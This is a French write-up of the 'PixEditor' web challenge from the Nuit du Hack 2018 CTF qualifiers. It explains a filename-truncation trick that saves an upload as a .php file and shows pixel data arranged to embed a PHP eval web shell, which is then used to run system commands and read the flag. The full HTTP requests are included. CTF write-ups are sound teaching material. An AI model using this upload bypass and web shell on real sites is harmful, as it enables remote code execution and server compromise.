Présentation d’un write-up de résolution du challenge « Web – PixEditor » des qualifications du CTF de la Nuit du Hack 2018.
Le weekend du 31/03/2018 se déroulait les pré-qualifications pour la Nuit du Hack 2018 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges auquel nous avons pu participer.
- Catégorie : Web
- Nom : PixEditor
- Description : Create your own pixel art with this powerful tool.
- URL : http://pixeditor.challs.malice.fr/
- Points : 350
Ce challenge web permet de créer une image en dessinant pixel par pixel, puis de sauver celle-ci suivant différent format (JPG, BMP, etc.).
En se rendant sur PixEditor, nous sommes amenés à dessiner notre image et choisir le format de sauvegarde :
En analysant les requêtes HTTP réalisées lors de la sauvegarde, on constate que l’ensemble des pixels de celle-ci sont transmis au sein d’un tableau. Les valeurs de ces pixels dépendent du format de sauvegarde souhaité. Bien évidemment, nous choisissons le format BMP puisqu’il n’apporte aucune transformation sur la valeur des pixels ni de compression.
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12389 Connection: close data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=image.bmp&format=BMP
On observe que le nom de l’image est défini à partir des paramètres POST. Nous nous empressons de tester d’autres noms arbitraires, notamment des « .php », « .bmp%00.php », avec des CRLF, double-extensions, nullbytes… En vain. Un système de protection à l’air en place.
En analysant un peu plus l’application web, et notamment les fichiers JavaScript auxquels elle fait appel, on note une information intéressante dans le « /js/pixeditor.js » : les noms des fichiers sont limités en taille, et il semblerait qu’une troncature à 50 caractères soit de mise :
Empressons nous d’exploiter cette troncature dans le nom du fichier :
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12389 Connection: close data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP
Parfait ! L’extension « .bmp » est tronquée puisqu’au delà des 50 caractères, et c’est donc notre précédente extension « .php » qui est conservée. Nous disposons donc bien d’un fichier uploadé avec l’extension PHP (et du contenu au format BMP) :
http://pixeditor.challs.malice.fr/images/38db8710b841ada4658682b357c35ccdc55445016cad930d0a4da1bd1220bc13/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php
Ce fichier « .php » nous affiche le contenu de notre image, au format raw :
BM66( ???????????? [...] ????????????????
A présent, comme des fichiers d’extension « .php » peuvent être créés, nous allons orienter la suite vers l’injection d’un payload nous permettant d’exécuter du code arbitraire. Il nous faut donc pour cela réussir à injecter du code PHP dans l’image (au format BMP) tel que :
<?php eval($_GET["x"]);?>
Chaque pixel de l’image disposent d’une valeur entre 0 et 255, à savoir une valeur décimale. Ainsi, nous pouvons définir un pattern et vérifier la réflexion de celui-ci dans l’image résultante tel que :
abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
Conversion de cette chaîne en décimale via un outil online :
97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 48 49 50 51 52 53 54 55 56 57 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
Remplaçons les derniers pixels (0-255) du paramètre POST « data » avec cette suite, en ometant les derniers octets pour conserver un header BMP valide :
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12389 Connection: close data=[255,0,0,255,255 [...] 90,89,88,87,86,85,84,83,82,81,80,79,78,77,76,75,74,73,72,71,70,69,68,67,66,65,58,57,56,55,54,53,52,51,50,49,48,122,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP
L’image (.php) est enregistrée avec succès et lorsqu’elle est consultée elle affiche :
BM66( ???????????????YZ?UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd?????????????????
On remarque la réflexion d’une partie de notre pattern initial, où chaque suite de caractère semble être regroupée par paquet de 3, le tout inversé. Certaines lettre semblent également manquer.
A partir de ce pattern « UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd », recherchons dans notre paramètre POST « data » les correspondances décimales pour le « U », le « V », « W », « Q », « R » etc. Et remplaçons les par les valeurs décimales de notre payload PHP :
Pattern réfléchi : UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd Pattern décimal équivalent : 85 86 87 81 82 83 77 78 79 73 74 75 69 70 71 65 66 67 55 56 57 51 52 53 122 48 49 118 119 120 114 115 106 110 111 112 106 107 108 102 103 104 98 99 100 Payload PHP : <?php eval($_GET["x"]);?> Payload PHP décimal : 60 63 112 104 112 32 101 118 97 108 40 36 95 71 69 84 91 34 120 34 93 41 59 63 62
Le « U » (85) sera donc remplacé par le « 60 » (<), le « V » (86) sera donc remplacé par le « 63 » (?) etc.
Ce qui produit le tableau de valeurs décimales suivants pour injecter la chaîne « <?php eval($_GET[« x »]);?> » :
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12395 Connection: close data=[255,0,0,255,255 [...] 255,90,89,88,112,63,60,84,32,112,104,80,97,118,101,76,36,40,108,72,69,71,95,68,34,91,84,58,93,34,120,54,63,59,41,50,49,48,62,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.png&format=BMP
L’image d’extension PHP avec le payload PHP syntaxiquement valide est bien enregistrée côté serveur. Il ne reste plus qu’à l’exploiter :
http://pixeditor.challs.malice.fr/images/e1372d74008602ab0808a5c034edba071c00ecf4442b64284665357d8756430a/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php?x=system($_GET["z"]);&z=ls -la
Le fichier « /flag » nous semble prometteur :
Bingo ! Well done Martin 😉
Salutations à toute l’équipe, on remet ça quand vous voulez 😉 // Gr3etZ